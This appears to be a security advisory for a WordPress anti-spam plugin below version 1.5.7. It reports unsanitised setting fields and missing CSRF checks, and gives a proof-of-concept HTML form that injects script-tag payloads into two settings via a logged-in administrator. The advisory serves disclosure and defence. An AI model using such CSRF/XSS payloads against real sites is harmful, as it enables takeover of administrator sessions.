WP Amour < 1.5.7 - Authenticated Stored Cross-Site Scripting (XSS)

Description

The plugin did not sanitise and escape its setting fields, leading to Stored Cross-Site Scripting issues. Furthermore, the lack of CSRF checks could also allow attackers to trigger the XSS via CSRF attacks against a logged in administrator

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-armour" method="POST">
      <input type="hidden" name="wpa_field_name" value='"><script>alert(/XSS-Field/)</script>' />
      <input type="hidden" name="wpa_error_message" value='"><script>alert(/XSS-Error/)</script>' />
      <input type="hidden" name="submit-wpa-general-settings" value="Save General Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>